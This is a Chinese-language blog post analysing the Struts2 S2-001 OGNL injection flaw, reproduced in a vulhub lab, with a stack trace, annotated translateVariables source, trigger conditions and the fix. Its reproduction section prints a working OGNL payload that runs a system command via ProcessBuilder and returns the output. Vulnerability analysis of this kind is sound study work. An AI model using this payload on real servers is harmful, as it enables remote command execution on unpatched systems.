Struts2 历史漏洞分析 — S2-001

背景

最近打算开始更一些漏洞复现/分析的文章,所以决定先从"漏洞之王"——Struts2 开始。

主要有用到三个辅助工具。

  1. IDEA :这是一个 java 开发 IDE ,功能非常强大。(eclipse 真的很辣鸡)
  2. vulhub:P神的漏洞靶场(相似的还有 vulapps)
  3. javaweb-expression:我司大神园长开发的spel、ognl、mvel表达式 hook 工具(http://javaweb.org/?p=1862

关于S2-001

这是 S2 框架最早被公开的代码执行漏洞,具体详情可参见下方链接。

https://cwiki.apache.org/confluence/display/WW/S2-001

影响范围: Struts 2.0.0 - Struts 2.0.8 , WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5

官方是这么说的:altSyntax 功能允许将OGNL表达式插入到文本字符串中并以递归方式处理。

使用struts2的 s标签提交表单,如果验证失败则会在服务端进行一次 OGNL 表达式验证。

官方给出了一段代码:

<s:form action="editUser">
  <s:textfield name="name" />
  <s:textfield name="phoneNumber" />
</s:form>

e.g: 我向这个页面提交数据 ?name=%{222-111}&phoneNumber=123 ,在后端没有通过验证,返回到页面的时候你会发现 name 文本框的值变成了 111 ,也就是 %{222-111}计算后的结果。这是因为默认情况下,参数值被处理为 %{name} ,OGNL表达式是递归计算的,所以他真正执行的表达式是 %{ %{ 222-111 } }

可见这是因为 OGNL 表达式导致的
p.s : struts2 的大部分漏洞,都是由 OGNL 表达式引起。

不知道 OGNL 表达式的可以参考这篇文章,https://www.cnblogs.com/renchunxiao/p/3423299.html

复现

https://github.com/vulhub/vulhub/tree/master/struts2/s2-001

docker 启动 vulhub s2-001 的容器。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"d")).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

1551323390(1).jpg

分析

1551323397(1).jpg

通过简单的计算,可以看到 ognl 表达式已经执行。

回到 idea,ognl 表达式的栈轨迹已经被打印出来。

---------------------------------EXP-----------------------------------------
2222-1111
---------------------------------璋冪敤閾 ---------------------------------------
java.lang.Thread.getStackTrace(Thread.java:1559)
org.javaweb.expression.Agent.expression(Agent.java:179)
ognl.Ognl.parseExpression(Ognl.java)
com.opensymphony.xwork2.util.OgnlUtil.compile(OgnlUtil.java:203)
com.opensymphony.xwork2.util.OgnlUtil.getValue(OgnlUtil.java:194)
com.opensymphony.xwork2.util.OgnlValueStack.findValue(OgnlValueStack.java:238)
com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:122)
com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:71)
org.apache.struts2.components.Component.findValue(Component.java:313)
org.apache.struts2.components.UIBean.evaluateParams(UIBean.java:723)
org.apache.struts2.components.UIBean.end(UIBean.java:481)
org.apache.struts2.views.jsp.ComponentTagSupport.doEndTag(ComponentTagSupport.java:43)
................此处省略
org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1085)
org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:658)
org.apache.coyote.http11.Http11AprProtocol$Http11ConnectionHandler.process(Http11AprProtocol.java:277)
org.apache.tomcat.util.net.AprEndpoint$SocketProcessor.doRun(AprEndpoint.java:2407)
org.apache.tomcat.util.net.AprEndpoint$SocketProcessor.run(AprEndpoint.java:2396)
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
java.lang.Thread.run(Thread.java:748)
--------------------------------------------------------------------------

我在 UIBean.java 的 298 行打了一个断点。

问题就出在 if (this.altSyntax()) {这一行,刚才有提到过漏洞是因为 altSyntax 功能引发的,它的作用是允许s2标签用使用表达式。

1551323409(1).jpg

此时表达式已成 %{username}

这里放上罪魁祸首之一 translateVariables 方法的源码。

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
        Object result = expression; # %{username}

        while(true) {  # 递归执行 OGNL 
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int count = 1;

            while(start != -1 && x < length && count != 0) {
                char c = expression.charAt(x++);
                if (c == '{') {
                    ++count;
                } else if (c == '}') {
                    --count;
                }
            }

            int end = x - 1;
            if (start == -1 || end == -1 || count != 0) { //结束条件
                return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
            }

            String var = expression.substring(start + 2, end);   # 取出%{}里的表达式  第一次 : username  第二次: 2222-1111 
            Object o = stack.findValue(var, asType);  # 这里开始计算 OGNL 表达式。 第一次 将 username 通过反射从 action 对象里取出。 第二次:将 username 属性的值再次执行一遍。
            
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }

            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            if (o != null) {
                if (TextUtils.stringSet(left)) {
                    result = left + o;
                } else {
                    result = o;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + o + right;
            } else {
                result = left + right;
                expression = left + right;
            }
        }
    }

1551323420(1).jpg

继续跟进,直到这一步invokeMethod:518, OgnlRuntime (ognl),他通过反射调用 Action 对象的 get 方法来获取 username 属性,也就是我的payload %{222-111}

1551323431(1).jpg

最终回到了 translateVariables 方法,递归的执行 ognl 表达式,再次执行了一遍 %{222-111}。

这里我给出一份从 translateVariables 方法开始的一个完整调用过程。

findValue:230, OgnlValueStack (com.opensymphony.xwork2.util)

getValue:194, OgnlUtil (com.opensymphony.xwork2.util)

compile:199, OgnlUtil (com.opensymphony.xwork2.util)

getValue:331, Ognl (ognl)

getValue:182, SimpleNode (ognl)

evaluateGetValueBody:161, SimpleNode (ognl)

getValueBody:89, ASTProperty (ognl)

getProperty:1637, OgnlRuntime (ognl)

getProperty:75, CompoundRootAccessor (com.opensymphony.xwork2.util)

getProperty:1637, OgnlRuntime (ognl) [2]

getProperty:58, OgnlValueStack$ObjectAccessor (com.opensymphony.xwork2.util)

getProperty:118, ObjectPropertyAccessor (ognl)

getPossibleProperty:50, ObjectPropertyAccessor (ognl)

getMethodValue:931, OgnlRuntime (ognl)

invokeMethod:518, OgnlRuntime (ognl)

总结

最后总结一下 S2-001 的一个触发条件。

  1. 开启 altSyntax 功能
  2. 使用 s 标签处理表单
  3. action 返回错误
  4. OGNL 递归处理

值得一提的是 Struts2 官方给出了一个解决办法中提到了。

从XWork 2.0.4开始,OGNL解析被更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 + 1}。

也就是只会获取到 username 的内容,而不会再把 username 里的内容再执行一遍。

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。